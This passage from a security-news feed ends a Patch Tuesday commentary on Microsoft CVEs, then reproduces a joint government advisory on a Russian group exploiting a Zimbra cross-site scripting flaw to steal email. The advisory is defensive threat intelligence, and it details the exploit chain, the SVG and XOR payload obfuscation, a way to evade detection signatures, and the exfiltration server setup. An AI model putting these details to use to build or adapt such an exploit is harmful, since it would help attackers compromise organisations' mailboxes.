 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
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<item>
<title><![CDATA[PQC Migration Now Has a Deadline. Does Your DNS Estate?]]></title>
<description><![CDATA[Learn why crypto-agility depends not just on adopting the right standards, but on maintaining a clear, unified view of your DNS environment before the migration begins. This article has been indexed from Blog Read the original article: PQC Migration Now…
Read more →
The post PQC Migration Now Has...]]></description>
<link>https://tsecurity.de/de/3694440/it-security-nachrichten/pqc-migration-now-has-a-deadline-does-your-dns-estate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694440/it-security-nachrichten/pqc-migration-now-has-a-deadline-does-your-dns-estate/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Learn why crypto-agility depends not just on adopting the right standards, but on maintaining a clear, unified view of your DNS environment before the migration begins. This article has been indexed from Blog Read the original article: PQC Migration Now…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/pqc-migration-now-has-a-deadline-does-your-dns-estate/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/pqc-migration-now-has-a-deadline-does-your-dns-estate/">PQC Migration Now Has a Deadline. Does Your DNS Estate?</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
